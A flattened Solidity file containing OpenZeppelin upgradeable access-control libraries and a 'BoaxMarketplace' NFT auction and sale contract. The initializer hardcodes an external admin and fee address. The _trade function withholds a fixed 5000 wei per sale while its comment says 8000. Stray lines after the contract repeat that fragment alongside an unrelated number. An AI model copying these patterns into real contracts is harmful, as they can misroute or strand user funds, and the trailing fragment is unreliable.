require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // File: @openzeppelin/contracts-upgradeable/access/IAccessControlEnumerableUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // File: @openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol // OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // File: @openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // File: @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { __Context_init_unchained(); } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // File: @openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol) pragma solidity ^0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal onlyInitializing { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // File: @openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (access/AccessControlEnumerable.sol) pragma solidity ^0.8.0; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable { function __AccessControlEnumerable_init() internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); __AccessControlEnumerable_init_unchained(); } function __AccessControlEnumerable_init_unchained() internal onlyInitializing { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {_grantRole} to track enumerable memberships */ function _grantRole(bytes32 role, address account) internal virtual override { super._grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {_revokeRole} to track enumerable memberships */ function _revokeRole(bytes32 role, address account) internal virtual override { super._revokeRole(role, account); _roleMembers[role].remove(account); } uint256[49] private __gap; } // File: contracts/interfaces/IBoaxNFT.sol pragma solidity 0.8.0; interface IBoaxNFT { /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; function mint( string memory _tokenURI, address _to) external; /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns whether `tokenId` exists. */ function isTokenExists(uint256 tokenId) external view returns (bool); /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) external view returns (address); } // File: contracts/BoaxMarketplace.sol pragma solidity 0.8.0; contract BoaxMarketplace is Initializable, AccessControlEnumerableUpgradeable { IBoaxNFT public BoaxNFT; using CountersUpgradeable for CountersUpgradeable.Counter; // counters for marketplace CountersUpgradeable.Counter private auctionsCount; // auctions Count only used internally CountersUpgradeable.Counter private salesCounter; // fix Price Sales count only used internally bytes32 public constant ARTIST_ROLE = keccak256("ARTIST_ROLE"); // The ARTIST_ROLE is the address payable public feeAccount; // EOA or MultiSig owned by BOAX uint8 private SALE_FEE; // fee on all sales paid to Boax uint8 private SECONDARY_SALE_FEE_ARTIST; // (profits) on all secondary sales paid to the artist //structs struct Auction { uint256 _tokenId; address _owner; uint256 _reservePrice; uint256 _highestBid; address _highestBidder; uint256 _endTimeInSeconds; bool _isSettled; } struct Bidder { uint256 amount; bool hasWithdrawn; bool isVaild; } struct FixPriceSale { uint256 _tokenId; address _owner; uint256 _price; bool _onSale; bool _isSold; bool _isCanceled; } mapping(uint256 => bool) public secondarySale; // map token ID to bool indicating wether it has been sold before mapping(uint256 => address payable) public artists; // token ID to artist mapping, used for sending fees to artist on secondary sales mapping(uint256 => Auction) public auctions; mapping(uint256 => mapping(address => Bidder)) public auctionBidders; // token Id to fixPriceSales mapping(uint256 => FixPriceSale) public fixPriceSales; // Events event Mint(address indexed from, address indexed to, uint256 indexed tokenId); event AuctionCreated( uint256 _auctionId, uint256 _reservePrice, uint256 _endTimeInSeconds, address _owner, uint256 _tokenId ); event AuctionSettled( uint256 _auctionId, address _owner, address _winner, uint256 _finalHighestBid, uint256 _tokenId ); event PlacedBid(address _bidder, uint256 _bid); event Trade(address _from, address _to, uint256 _amount, uint256 _tokenId); event WithdrewAuctionBid(address _by, uint256 _amount); event SetForFixPriceSale( uint256 _fixPriceSaleId, uint256 _tokenId, uint256 _amount, address _owner ); event PurchasedNFT( uint256 _fixPriceSaleId, address _seller, address _buyer, uint256 _tokenId, uint256 _amount ); event SaleCanceled(uint256 _fixPriceSaleId, uint256 _tokenId, address _by); event UpdateSalePrice(uint256 _fixPriceSaleId, uint256 _newPrice); event RedeemedBalance(uint256 _amount, address _by); event UpdateFee(address _by, uint256 _newFee); //modifiers modifier onlyAuctionOwner(uint256 _auctionId) { require(msg.sender == auctions[_auctionId]._owner, "not the owner."); _; } modifier auctionExists(uint256 _auctionId) { require( _auctionId <= auctionsCount.current() && _auctionId != 0, "nonexistent Auction" ); _; } modifier hasAuctionEnded(uint256 _auctionId) { require( auctions[_auctionId]._endTimeInSeconds < (block.timestamp), "Auction is running" ); _; } modifier saleRequirements(uint256 _tokenId) { require(BoaxNFT.isTokenExists(_tokenId), "nonexistent tokenId."); require(BoaxNFT.ownerOf(_tokenId) == msg.sender, "not the owner"); _; } modifier saleExists(uint256 _saleId) { require( _saleId <= salesCounter.current() && _saleId != 0, "nonexistent sale" ); _; } modifier onlyAdmin() { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "NOT ADMIN"); _; } modifier fixSaleReqs(uint256 _fixPriceSaleId) { require(fixPriceSales[_fixPriceSaleId]._owner == msg.sender, "not owner."); require(fixPriceSales[_fixPriceSaleId]._isSold == false, "NFT is sold"); require(fixPriceSales[_fixPriceSaleId]._isCanceled == false, "not on sale"); _; } modifier isAcceptAbleFee(uint8 _fee) { require((_fee + SECONDARY_SALE_FEE_ARTIST) <= 100, "fee overflow"); require(_fee >= 1, "fee unserflow"); require(_fee <= 100, "no! not 100"); _; } /** * @dev Grants `DEFAULT_ADMIN_ROLE` to the * account that deploys the contract. * Token URIs will be autogenerated based on `baseURI` and their token IDs. * See {ERC721-tokenURI}. */ function initialize(address _NFT) public initializer { require(_NFT != address(0), "Invalid address"); address _admin = 0x3324E31376d8Df4c303C8876244631DFD625b5e3; // default values _setupRole(DEFAULT_ADMIN_ROLE, _admin); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); // the deployer must have admin role. It is not possible if this role is not granted. _setupRole(ARTIST_ROLE, _admin); feeAccount = payable(_admin); // account or contract that can redeem funds from fees. SALE_FEE = 2; // 2% fee on all sales paid to Boax (artist receives the remainder, 98%) SECONDARY_SALE_FEE_ARTIST = 2; // 2% fee (profits) on all secondary sales paid to the artist (seller receives remainder after paying 2% secondary fees to artist and 2% to Boax, 96%) BoaxNFT = IBoaxNFT(_NFT); } /** * @dev setter function only callable by contract admin used to change the address to which fees are paid * @param _feeAccount is the address owned by Boax that will collect sales fees */ function setFeeAccount(address payable _feeAccount) external onlyAdmin() { feeAccount = _feeAccount; } /** * @dev setter function only callable by contract admin used to update Royality * @param _fee is the new %age for BOAX marketplace */ function setSaleFee(uint8 _fee) external onlyAdmin() isAcceptAbleFee(_fee) { SALE_FEE = _fee; emit UpdateFee(msg.sender, SALE_FEE); } /** * @dev setter function only callable by contract admin used to update Royality for artists * @param _fee is the new %age for NFT's artist */ function setSecondarySaleFeeArtist(uint8 _fee) external onlyAdmin() isAcceptAbleFee(_fee) { SECONDARY_SALE_FEE_ARTIST = _fee; emit UpdateFee(msg.sender, SECONDARY_SALE_FEE_ARTIST); } /** * @dev mints a token using BoaxNFT contract * @param _tokenURI is URI of the NFT's metadata */ function mint(string memory _tokenURI) external { require(hasRole(ARTIST_ROLE, msg.sender), "not ARTIST"); // Must be an artist uint256 _tokenId = BoaxNFT.totalSupply(); // set URI before minting otherwise the total supply will get increamented BoaxNFT.mint(_tokenURI, msg.sender); artists[_tokenId] = payable(msg.sender); emit Mint(address(0x0), msg.sender, _tokenId); } /** * @dev creates an auction for given token * @param _tokenId is NFT's token number on contract, * @param _reservePrice is the starting bid for nft, * @param _endTimeInSeconds is the auction end time in seconds */ function createAuction( uint256 _tokenId, uint256 _reservePrice, uint256 _endTimeInSeconds ) external saleRequirements(_tokenId) { require(_reservePrice > 0, "underflow"); require(_endTimeInSeconds >= 3600, "LowTime"); auctionsCount.increment(); // start orderCount at 1 _endTimeInSeconds = (block.timestamp) + _endTimeInSeconds; auctions[auctionsCount.current()] = Auction( _tokenId, msg.sender, _reservePrice, 0, address(0x0), _endTimeInSeconds, false ); address _owner = payable(msg.sender); // transfer nft token to contract (this). BoaxNFT.transferFrom(_owner, address(this), _tokenId); emit AuctionCreated( auctionsCount.current(), _reservePrice, _endTimeInSeconds, _owner, _tokenId ); } /** * @dev transfers NFT and Ether on auction completes * @param _auctionId is auction number on contract, */ function settleAuction(uint256 _auctionId) external auctionExists(_auctionId) hasAuctionEnded(_auctionId) { Auction storage _foundAuction = auctions[_auctionId]; require(_foundAuction._isSettled == false, "already settled."); require( msg.sender == _foundAuction._owner || msg.sender == _foundAuction._highestBidder, "not Owner or Winner of Auction." ); // if _highestBidder is 0x0 that's mean there are no bids on Auction if (_foundAuction._highestBidder == address(0x0)) { // if auction has complete and there are no bids transfer NFT back to the owner BoaxNFT.transferFrom( address(this), _foundAuction._owner, _foundAuction._tokenId ); } else { _trade( _foundAuction._owner, _foundAuction._highestBidder, _foundAuction._highestBid, _foundAuction._tokenId ); } emit AuctionSettled( _auctionId, _foundAuction._owner, _foundAuction._highestBidder, _foundAuction._highestBid, _foundAuction._tokenId ); auctionBidders[_auctionId][_foundAuction._highestBidder] = Bidder( 0, true, false ); _foundAuction._highestBidder = address(0x0); _foundAuction._highestBid = 0; _foundAuction._isSettled = true; } /** * @dev places a bid on an auction * @param _auctionId is auction number on contract, */ function placeBid(uint256 _auctionId) public payable auctionExists(_auctionId) { Auction storage _foundAuction = auctions[_auctionId]; require( _foundAuction._endTimeInSeconds >= block.timestamp, "Auction ended" ); if (!auctionBidders[_auctionId][msg.sender].isVaild) { if (_foundAuction._highestBid != 0) require(msg.value > _foundAuction._highestBid, "bid underflow"); else require(msg.value >= _foundAuction._reservePrice, "bid underflow"); auctionBidders[_auctionId][msg.sender] = Bidder(msg.value, false, true); _foundAuction._highestBid = msg.value; _foundAuction._highestBidder = msg.sender; } else { uint256 oldBidAmount = auctionBidders[_auctionId][msg.sender].amount; require( msg.value > oldBidAmount && msg.value > _foundAuction._highestBid, "low bid" ); auctionBidders[_auctionId][msg.sender].amount = msg.value; _foundAuction._highestBid = msg.value; _foundAuction._highestBidder = msg.sender; payable(msg.sender).transfer(oldBidAmount); } emit PlacedBid(msg.sender, msg.value); } /** * @dev the bidder of an auction can withdraw his bid amout if he did not win * @param _auctionId is the id of auction */ function withdrawLostAuctionBid(uint256 _auctionId) external auctionExists(_auctionId) hasAuctionEnded(_auctionId) { Auction storage _foundAuction = auctions[_auctionId]; require( auctionBidders[_auctionId][msg.sender].isVaild && auctionBidders[_auctionId][msg.sender].hasWithdrawn == false, "nothing for you" ); require( msg.sender != _foundAuction._highestBidder, "You win. Settle Auction" ); uint256 bidAmount = auctionBidders[_auctionId][msg.sender].amount; payable(msg.sender).transfer(bidAmount); auctionBidders[_auctionId][msg.sender] = Bidder(0, true, false); emit WithdrewAuctionBid(msg.sender, bidAmount); } /** * @dev sale NFT on fix price * @param _tokenId NFT's ID * @param _amount NFT's price */ function createFixPriceSale(uint256 _tokenId, uint256 _amount) external saleRequirements(_tokenId) { require(_amount > 0, "underflow"); salesCounter.increment(); fixPriceSales[salesCounter.current()] = FixPriceSale( _tokenId, msg.sender, _amount, true, false, false ); BoaxNFT.transferFrom(msg.sender, address(this), _tokenId); emit SetForFixPriceSale( salesCounter.current(), _tokenId, _amount, msg.sender ); } /** * @dev to purchase NFT placed in fix price sale. * @param _fixPriceSaleId sale Id */ function purchaseNFT(uint256 _fixPriceSaleId) external payable saleExists(_fixPriceSaleId) { FixPriceSale storage _foundSale = fixPriceSales[_fixPriceSaleId]; require(_foundSale._isCanceled == false, "no sale"); require(_foundSale._isSold == false, "NFT sold"); require(msg.value >= _foundSale._price, "underflow"); _trade(_foundSale._owner, msg.sender, msg.value, _foundSale._tokenId); _foundSale._isSold = true; emit PurchasedNFT( _fixPriceSaleId, _foundSale._owner, msg.sender, _foundSale._tokenId, msg.value ); } /** * @dev to cancel the fix price sale of the NFT * @param _fixPriceSaleId id of sale */ function cancelFixPriceSale(uint256 _fixPriceSaleId) external saleExists(_fixPriceSaleId) fixSaleReqs(_fixPriceSaleId) { FixPriceSale storage _foundSale = fixPriceSales[_fixPriceSaleId]; BoaxNFT.transferFrom(address(this), msg.sender, _foundSale._tokenId); _foundSale._isCanceled = true; _foundSale._onSale = false; emit SaleCanceled(_fixPriceSaleId, _foundSale._tokenId, msg.sender); } /** * @dev updates the price for given an fixedPriceSale * @param _fixPriceSaleId is NFT's token number on contract, * @param _newPrice is the starting bid for nft, */ function updatePriceOfFixedSale(uint256 _fixPriceSaleId, uint256 _newPrice) external saleExists(_fixPriceSaleId) fixSaleReqs(_fixPriceSaleId) { FixPriceSale storage _foundSale = fixPriceSales[_fixPriceSaleId]; require((_foundSale._price != _newPrice) && (_newPrice > 0), "underflow"); _foundSale._price = _newPrice; emit UpdateSalePrice(_fixPriceSaleId, _newPrice); } /** * @dev to exchange the NFT and amount * @param _seller current owner of the nft * @param _buyer buyer of nft * @param _amount NFT's price * @param _tokenId NFT's ID */ function _trade( address _seller, address _buyer, uint256 _amount, uint256 _tokenId ) private { BoaxNFT.transferFrom(address(this), _buyer, _tokenId); uint256 _feeAmount = (_amount * SALE_FEE) / 100; // Fee paid by the user that fills the order, a.k.a. msg.sender. // pay primary or secondary sale fees if (!secondarySale[_tokenId]) { feeAccount.transfer(_feeAmount); // transfer ETH fees to fee account secondarySale[_tokenId] = true; // set secondarySale bool to true after first sale } else { uint256 _secondaryFeeArtist = (_amount * SECONDARY_SALE_FEE_ARTIST) / 100; // Fee paid by the user that fills the order, a.k.a. msg.sender. uint256 _boaxFee = (_amount * SALE_FEE) / 100; // Fee paid by the user that fills the order, a.k.a. msg.sender. _feeAmount = _secondaryFeeArtist + _boaxFee; feeAccount.transfer(_boaxFee); // transfer secondary sale fees to fee account artists[_tokenId].transfer(_secondaryFeeArtist); // transfer secondary sale fees to fee artist } uint256 remainingFee = _amount - _feeAmount - 5000; // keep 8000 in contract for each _trade call payable(_seller).transfer(remainingFee); // transfer ETH remainder to the account that sold the NFT emit Trade(_seller, _buyer, _amount, _tokenId); } }
keep 8000 in contract for each _trade call
uint256 remainingFee = _amount - _feeAmount - 5000;
10,880,033
